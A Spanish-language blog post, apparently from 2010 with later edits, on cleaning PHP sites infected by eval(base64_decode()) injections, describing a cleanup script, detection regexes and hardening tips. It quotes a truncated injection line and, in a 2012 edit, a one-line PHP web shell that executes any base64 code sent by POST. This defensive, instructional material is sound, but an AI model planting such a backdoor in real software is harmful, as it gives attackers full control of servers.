Saturday 24 April 2010

Archivos PHP hackeados con eval(base64_decode())

Te interesa este artículo si acabas de descubrir con estupor que los archivos de PHP de tu Wordpress, o OSCommerce, o cualquier CMS PHP han sido reescritos "mágicamente" (obviamente por un código malicioso), y al inicio presentan una línea como ésta:

<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZ... ...9fX0=')); ?>


Escenario

Se trata de una "inyección de código PHP" codificado en base64 que normalmente se extiende a TODOS los archivos PHP que tengas en ese dominio! como lo oyes, increíble, no?

No es difícil decodificar la base64, y encontrarás un centenar de sitios web en donde explican cómo hacerlo. Pero resumidamente esa "cabecera" inyectada en tus archivos PHP es capaz de leer todo tu sistema de archivos y enviar esa información a quien dejó la "semilla".

No he leído en profundidad sobre el origen de este hackeo, aunque sí he leído que se remonta al menos al año 2001!!! Además, si decodificas el mensaje en base64 verás que es a su vez un código PHP que llama a otro archivo de nuevo con codificación en base64, que suele ser un archivo perdito en el árbol de directorios, normalmente una "falsa hoja de estilos en PHP" del skin o del theme de algún plugin de algún componente de tu CMS (el editor HTML, por ejemplo). Como que estos componentes suelen ser opensource, alguien con malicia puede intentar colar un código de hackeo fácilmente de esta forma (entre los estilos, de un skin, de un plugin...).

En mi caso lo descubrí en:

/var/www/sites/myuser/mydomain.com/subdomains/www/html/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php


Si quieres saber qué dice tu código en base64 usa esta web:

http://www.motobit.com/util/base64-decoder-encoder.asp

marca la opción: "decode the data from a Base64 string (base64 decoding)" y pulsa en el botón "convert the source data".


Limpieza automatizada

En mi caso me bastó con limpiar esas inyecciones de PHP de mis archivos. Y como eran más de un centenar... pues necesitaba un script que automatizara esa limpieza. Y bueno, buscando un poco encontré un script que aproveché para mejorar y que podéis descargar aquí:

http://imasdeweb.com/opensource/search_and_replace/search_and_replace.php.zip


¿Cómo funciona?


  1. debes colocarlo en la raíz de tu dominio y llamarlo desde el navegador

  2. hará una exploración recursiva de TODOS los directorios y subdirectorios buscando archivos con extensión PHP, HTML o HTM.

  3. mirará dentro de cada archivo buscando mediante una expresión regular si hay algo como lo que puse arriba ("/eval\(base64_decode\(\'[A-Za-z0-9\=\/\+]+\'\)\);/")

  4. si encuentra ese código, primero hará un backup de ese archivo (por si quieres deshacer los cambios... que lo dudo) añadiéndole la extensión "_hackedcopy"

  5. por último, quitará del archivo el código malicioso

  6. además, mostrará por pantalla el listado completo (y sangrado!!!) de los archivos revisados marcando los infectados (rojo) y los limpios (verde)

En fin, estoy seguro que a más de uno le va a "salvar la vida". Aunque bien bien, no sé los efectos de tener ese código infectando tus archivos... Si alguien sabe algo, podría resumirlo en un comentario ;)

Y si alguien le hace más mejoras, pues me presto a actualizar la versióna actual :))


Editado en 24 May 2011:
Gracias a un comentarista, Henry, hemos descubierto que el cógido malicioso en base64 que infecta nuestros archivos puede estar delimitado por comillas simples (') como en el ejemplo que pongo en el artículo, o por comillas dobles (como le sucedió a Henry).

Si ese es tu caso, debes modificar la línea 86 del script de búsqueda y limpieza y poner esta otra expresión regular que usa comillas dobles ;)

"/eval\(base64_decode\(\"[A-Za-z0-9\=\/\+]+\"\)\);/"


Editado en 10 Octubre 2011:
Otro comentarista, Fco., nos ha hecho una valiosa aportación: nos ha proporcionado una expresión regular que cubre ambos casos, es decir, el de las comillas simples y el de las comillas dobles, y además tiene en cuenta posibles espacios en blanco! Excelente! jejejeje... es de esas cosas que nunca he sabido hacer: jugar con las expresiones regulares.

Ya modifiqué el script para descarga. Gracias Fco.
Os pongo aquí la expresión que Fco. ha construido:

$needle = '/[\s]+eval\(base64_decode\(["\'][A-Za-z0-9\=\/\+]+["\']\)\);/';


Editado en 5 Marzo 2012:
Otro comentarista, Romina, ha preguntado cómo sería posible eliminar todos esos archivos con el sufijo "_hackedcopy" que el script de limpieza ha generado. Porque la verdad sea dicha, al cabo de un mes de prudente distancia, ya podemos limpiar nuestro sistema de archivos de esas copias "contaminadas". En realidad son inocuas (=inofensivas) porqué no tienen la exetensión .php, pero en fin... ocupan espacio innecesariamente!

Para algun@s amantes de la consola linux la solución más fácil es usar un comando shell como éste que nos ha regalado un visitante anónimo:

for i in `find . -name '*_hackedcopy'`;do rm $i; done  


no soy un experto en linux, pero parece que debería funcionar. Tampoco lo he probado. Se agradecerá comentarios de quien lo pruebe ;)

Por otra parte, dado que a veces nuestro proveedor de hospedaje no nos proporciona acceso SSH al servidor o bien en el panel de hosting no hay una sección en donde ejecutar comandos de consola (`shell`), he programado un nuevo script

remove_copies.php

que he añadido al archivo ZIP para descarga de este artículo, que hará esa eliminación simplemente llamándolo desde el navegador, previamente habiéndolo colocado por FTP en la raíz del directorio que queremos "limpiar". Tranquilos, lo único que hace es: buscar recursivamente archivos con el sufijo '_hackedcopy' y los elimina. Para mayor control del asunto, el script saca por pantalla el listado de archivos eliminados y el número de directorios/archivos escaneados.


Editado en 5 Nov 2012:
Después de varios meses de recibir comentarios (se pueden leer debajo del artículo) creo interesante completar este artículo con los siguientes datos y trucos resaltados por algunos comentaristas:

  • Javier 3VS nos recuerda que podemos cambiar la línea 37 del script de localización de código mailicioso para detectar buscar en otros tipos de archivo que los propuestos inicialmente, puesto que resulta que estas inyecciones también suceden por ejemplo en archivos de javascript!!! (extensiones .js)

    $a_ext=array('php','html','htm','js');

  • Por supuesto, estas inyecciones de código en archivos de javascript ya no van a ejecutarse en el servidor sino en el navegador de los visitantes de nuestra web, así que podéis imaginar que la expresión inyectada es diferente y por tanto hemos de ajustar la expresión regular del script que es usada para encontrar estos códigos!!

    Para ayudarnos en el ajuste de esta expresión regular, Javier 3VS nos comparte el siguiente enlace en el que podemos JUGAR EN TIEMPO REAL con expresiones regulares para ver si funcionarán o no con nuestro código de muestra!!! genial, no?!

    http://gskinner.com/RegExr/?32kag

  • otro comentarista, Almo nos comparte detalladamente como hizo para buscar, encontrar, limpiar y mejorar su seguridad para el futuro. Creo que puede interesar a más de uno leer su explicación.

    Lo más interesante a destacar de su explicación creo yo es que él encontró la semilla en forma de un archivo /images/post.php (lástima que no indique de qué CMS) en el que éste código recibe por POST cualquier código PHP que se le quiera pasar y LO EJECUTA!!! imaginen que desastre si alguien tiene un acceso así a nuestro servidor :(

    if ($_POST["php"]){eval(base64_decode($_POST["php"]));exit;}


Editado en 4 Ene 2013: [JOOMLA]
Gracias a José tenemos nueva información útil para los usuarios de Joomla:

  • en su caso dice que la infección estaba en la carpeta "images", en forma de dos ficheros php (feeback.php y script.php)

  • después de limpiar el código de su web ha seguido las medidas de seguridad propuestas en este artículo:

    http://www.siteground.com/tutorials/joomla15/joomla_security.htm

    el documento es de lectura recomendada para todos los usuarios de Joomla, pero yo lo recomendaría para todo el mundo, y Jose lo resume así: he cambiado los prefijos de las tablas, he denegado el acceso a los ficheros php, salvo a los dos index principales de mi sitio joomla, y he protegido la carpeta "Administrator" desde mi panel de administración (en realidad es un htaccess).

  • Por cierto, Jose también descubrió cuál era la finalidad del ataque: cuando la gente veía su web en el buscador Google todo parecía normal, pero cuando pulsaban en el enlace eran redirigidos a páginas de terceros, habitualmente porno.

En fin feliz búsqueda, captura y eliminación! ;)
Y si en tu lucha encuentras algo nuevo que aquí no hayamos dicho y pueda servir, añádelo en los comentarios... yo me encargo de incorporarlo al artículo o al script si es suficientemente de interés general.

Un saludo!
SERGI